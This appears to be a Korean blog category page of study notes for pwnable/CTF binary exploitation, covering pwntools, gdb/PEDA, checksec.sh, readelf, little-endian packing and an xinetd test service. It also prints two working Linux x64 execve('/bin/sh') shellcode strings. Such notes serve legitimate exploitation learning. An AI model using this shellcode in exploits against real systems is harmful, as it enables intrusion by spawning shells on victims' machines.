sed -i -e 's/\r$//' checksec.sh
Pwnable!!
- Linux/x64 Shellcode 모음 (64bit / 64비트) 2018.04.30
- gdb PEDA 사용 + pwngdb 2018.04.28
- pwntools 사용법 2018.04.27
- python socket 연결 2018.04.27
- readelf를 이용하여 함수의 got주소 알아내기 2018.04.27
- 메모리 보호기법 체크 checksec.sh 사용 2018.04.27 1
- IDA 사용법 2018.04.27
- gdb에서 run 실행후 입력값 주기 2018.04.23
- 파이썬 주소값 리틀엔디안 변환 2018.04.23
- nc(netat) 서버 만들기 (xinetd 서비스) 2018.04.18
Linux/x64 Shellcode 모음 (64bit / 64비트)
Linux/x64 - execve(/bin/sh) Via Push Shellcode (23 bytes)
"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
31 bytes
"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
쉘스톰에 많음
'Pwnable!!' 카테고리의 다른 글
netstat으로 열려있는 포트찾기 (0) | 2018.05.03 |
---|---|
포너블을 위한 툴들 (0) | 2018.04.30 |
gdb PEDA 사용 + pwngdb (0) | 2018.04.28 |
pwntools 사용법 (0) | 2018.04.27 |
python socket 연결 (0) | 2018.04.27 |
gdb PEDA 사용 + pwngdb
Peda vs Pwndbg
https://blog.minivet.kr/?p=189
설치와 설명
https://hexa-unist.github.io/2015/02/25/PEDA-Introduction-Installation/
'Pwnable!!' 카테고리의 다른 글
포너블을 위한 툴들 (0) | 2018.04.30 |
---|---|
Linux/x64 Shellcode 모음 (64bit / 64비트) (0) | 2018.04.30 |
pwntools 사용법 (0) | 2018.04.27 |
python socket 연결 (0) | 2018.04.27 |
readelf를 이용하여 함수의 got주소 알아내기 (0) | 2018.04.27 |
pwntools 사용법
http://lclang.tistory.com/90?category=254640
http://lclang.tistory.com/94?category=254640
로컬에서 사용법
http://cheesehack.tistory.com/category/Etc/Pwntools%20reference
- Gallopsled의 pwntools Github : 설치 정보 및 소스 참고 가능
- Pwntools Docs : 각 함수 상세 설명 및 예제
- pwnlib.tubes.sock : simple 소켓 연결
- from pwn import * : 자주 사용하는 클래스(및 함수) 정보 – good!
- pwnlib.log : log.info( ) – 진행 상황 멋드러지게 프린트하기
- pwnlib.elf : bss( ) – .bss 영역의 주소를 자동으로 가져옴!
- pwnlib.util.packing : easy packing and repr
출처 : https://bpsecblog.wordpress.com/2017/01/18/defcon2016-feed-me/
pwnlib.tubes에서
conn = remote(host, port)
conn.shutdown()
shutdown
(direction = "send")[source]Closes the tube for futher reading or writing depending on direction.
Parameters: | direction (str) – Which direction to close; “in”, “read” or “recv” closes the tube in the ingoing direction, “out”, “write” or “send” closes it in the outgoing direction. |
---|---|
Returns: | None |
읽거나 쓰기를 direction옵션에 따라 tube를 닫는다.
디폴트로는 send라서 출력방향을 닫겠다는 것... 그냥 send를 종료하겠다를 의미.(write를 못하고 read만 됨)
sendlineafter
(delim, data, timeout = default) → str[source]A combination of recvuntil(delim, timeout)
and sendline(data)
.
delim까지 받고나서 data를 보낸다.
'Pwnable!!' 카테고리의 다른 글
Linux/x64 Shellcode 모음 (64bit / 64비트) (0) | 2018.04.30 |
---|---|
gdb PEDA 사용 + pwngdb (0) | 2018.04.28 |
python socket 연결 (0) | 2018.04.27 |
readelf를 이용하여 함수의 got주소 알아내기 (0) | 2018.04.27 |
메모리 보호기법 체크 checksec.sh 사용 (1) | 2018.04.27 |
python socket 연결
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | import socket import time ADDR = 'localhost' , 7777 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(ADDR) # IP, Port msg = s.recv(1024) print(msg) s.send("TEST") print s.recv(1024) | cs |
'Pwnable!!' 카테고리의 다른 글
gdb PEDA 사용 + pwngdb (0) | 2018.04.28 |
---|---|
pwntools 사용법 (0) | 2018.04.27 |
readelf를 이용하여 함수의 got주소 알아내기 (0) | 2018.04.27 |
메모리 보호기법 체크 checksec.sh 사용 (1) | 2018.04.27 |
IDA 사용법 (0) | 2018.04.27 |
readelf를 이용하여 함수의 got주소 알아내기
readelf -r filename | grep func_name
ex) readelf -r test | grep printf
'Pwnable!!' 카테고리의 다른 글
pwntools 사용법 (0) | 2018.04.27 |
---|---|
python socket 연결 (0) | 2018.04.27 |
메모리 보호기법 체크 checksec.sh 사용 (1) | 2018.04.27 |
IDA 사용법 (0) | 2018.04.27 |
gdb에서 run 실행후 입력값 주기 (0) | 2018.04.23 |
메모리 보호기법 체크 checksec.sh 사용
RELRO, Stack Canary, NX, ASLR, DEP, PIE, RELRO 등 해당파일에 리눅스 보호기법이 어느정도 걸려있는지 쉽게 체크할 수 있다.
다운로드는 여기서 http://www.trapkit.de/tools/checksec.html
Examples
normal (or --format cli)
$checksec.sh --file /bin/ls
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH /bin/ls
csv
$ checksec.sh --format csv --file /bin/ls
Partial RELRO,Canary found,NX enabled,No PIE,No RPATH,No RUNPATH,/bin/ls
xml
$ checksec.sh --format xml --file /bin/ls
<file relro="partial" canary="yes" nx="yes" pie="no" rpath="no" runpath="no" filename='/bin/ls'/>
누가 업그레이드를 한 버전도 있나봄..
https://github.com/slimm609/checksec.sh
윈도우에서 다운받아 xftp로 linux로 옮겨 사용하려했더니 오류가 뜬다.
-bash: ./checksec.sh: /bin/bash^M: bad interpreter: No such file or directory
이는 윈도우에서 linux로 전송하면서 줄바꿈, 개행문자가 달라서 발생하는 문제로... ^M으로 표기된다.
해결방법을 아래 url에서 찾았다.
https://askubuntu.com/questions/304999/not-able-to-execute-a-sh-file-bin-bashm-bad-interpreter
참고할만한 블로그 : linux 환경에서의 메모리 보호기법을 알아보자 – checksec.sh
'Pwnable!!' 카테고리의 다른 글
python socket 연결 (0) | 2018.04.27 |
---|---|
readelf를 이용하여 함수의 got주소 알아내기 (0) | 2018.04.27 |
IDA 사용법 (0) | 2018.04.27 |
gdb에서 run 실행후 입력값 주기 (0) | 2018.04.23 |
파이썬 주소값 리틀엔디안 변환 (0) | 2018.04.23 |
IDA 사용법
IDA Pro 사용법
IDA Pro User Tutorial : 번역본 (원본 : http://www.darkblue.ch/programming/IDA%20User%20Tutorial.pdf)
지뢰찾기 리버싱을 통한 IDA Pro 사용법
IDA로 ELF Binary 원격 디버깅하기(IDA Linux 원격 디버깅)
http://holinder4s.tistory.com/15
참고하면 좋을 사이트
'Pwnable!!' 카테고리의 다른 글
readelf를 이용하여 함수의 got주소 알아내기 (0) | 2018.04.27 |
---|---|
메모리 보호기법 체크 checksec.sh 사용 (1) | 2018.04.27 |
gdb에서 run 실행후 입력값 주기 (0) | 2018.04.23 |
파이썬 주소값 리틀엔디안 변환 (0) | 2018.04.23 |
nc(netat) 서버 만들기 (xinetd 서비스) (0) | 2018.04.18 |
gdb에서 run 실행후 입력값 주기
문자열을 입력 (r <<< Here Strings)
(gdb) r <<< $(python -c 'print "A"*3')
(gdb) r <<< "AAAAAAAAAA"
(gdb) r <<< `python -c 'print "A"*3'`
출처: http://blog.do9.kr/entry/gdb-실행-후-run-명령-시-user-input-주는-방법 [do9dark]
'Pwnable!!' 카테고리의 다른 글
메모리 보호기법 체크 checksec.sh 사용 (1) | 2018.04.27 |
---|---|
IDA 사용법 (0) | 2018.04.27 |
파이썬 주소값 리틀엔디안 변환 (0) | 2018.04.23 |
nc(netat) 서버 만들기 (xinetd 서비스) (0) | 2018.04.18 |
procfs_search.h 사용하기 (0) | 2018.03.17 |
파이썬 주소값 리틀엔디안 변환
파이썬에서 주소값 리틀엔디안으로 표시하기
from struct import *
struct.pack('<L',0x41424344)
'DCBA'
또는 lambda이용
L = lambda x : pack('<L', x)
L(0x41414141)
'Pwnable!!' 카테고리의 다른 글
IDA 사용법 (0) | 2018.04.27 |
---|---|
gdb에서 run 실행후 입력값 주기 (0) | 2018.04.23 |
nc(netat) 서버 만들기 (xinetd 서비스) (0) | 2018.04.18 |
procfs_search.h 사용하기 (0) | 2018.03.17 |
fgets과 socket에서 0x00 (0) | 2018.03.08 |
nc(netat) 서버 만들기 (xinetd 서비스)
xinetd 서비스
xinetd 서비스를 이용해서 nc 서버 만들기.
1. xinetd 서비스를 설치한다.
sudo apt-get install xinetd
2. /etc/xinetd.d/서비스이름 등록
위 파일을 만들면 된다.
vi /etc/xinetd.d/서비스이름
그리고 안에 이와 같은 내용을 넣어준다.
1 2 3 4 5 6 7 8 9 10 | service 서비스이름 { disable = no flags = REUSE socket_type = stream # 사용하는 소켓의 종료 입력. stream은 tcp를 뜻함 protocol = tcp wait = no user = root # 기본은 root로 되어있지만 이건 별로 좋지않다. server = /home/sherlock/workstation/test # 서비스할 파일 경로 } | cs |
참고로 파이썬 test.py를 등록하고 싶다면 아래와같이 해야한다.
server = /usr/bin/python
server_args = /root/script.py
서비스할 파일을 쉘스크립트를 이용해서 실행하게끔해서 올려주면 경로 프로그램이 실행될 경로까지 설정해 줄 수있다.
test.sh 파일로 test를 실행한다고 할때 아래와 같이 구성할 수 있다.
cd /home/sherlock/workstation
./test
이제 server로 저 쉘스크립트를 올려주면 된다.
3. 서비스를 등록했으면 이 서비스를 nc로 올려주기위해 포트를 설정(/etc/services)
포트를 설정하기위해선 /etc/services를 확인
/etc/services 가장 아래에 보면 # Local Services 가 있는데 그밑에 서비스할 프로그램과 포트를 적어주면된다.
4. 접속
서비스 재실행 후 nc로 접속해보면 성공적으로 접속되는걸 확인할 수 있다.
service xinetd restart
nc localhost 1234
참고 :
http://s0ngsari.tistory.com/entry/nc%EC%84%9C%EB%B2%84-%EC%97%B4%EA%B8%B0-XINETD
'Pwnable!!' 카테고리의 다른 글
gdb에서 run 실행후 입력값 주기 (0) | 2018.04.23 |
---|---|
파이썬 주소값 리틀엔디안 변환 (0) | 2018.04.23 |
procfs_search.h 사용하기 (0) | 2018.03.17 |
fgets과 socket에서 0x00 (0) | 2018.03.08 |
유용한 쉘코드(원격) (0) | 2018.02.18 |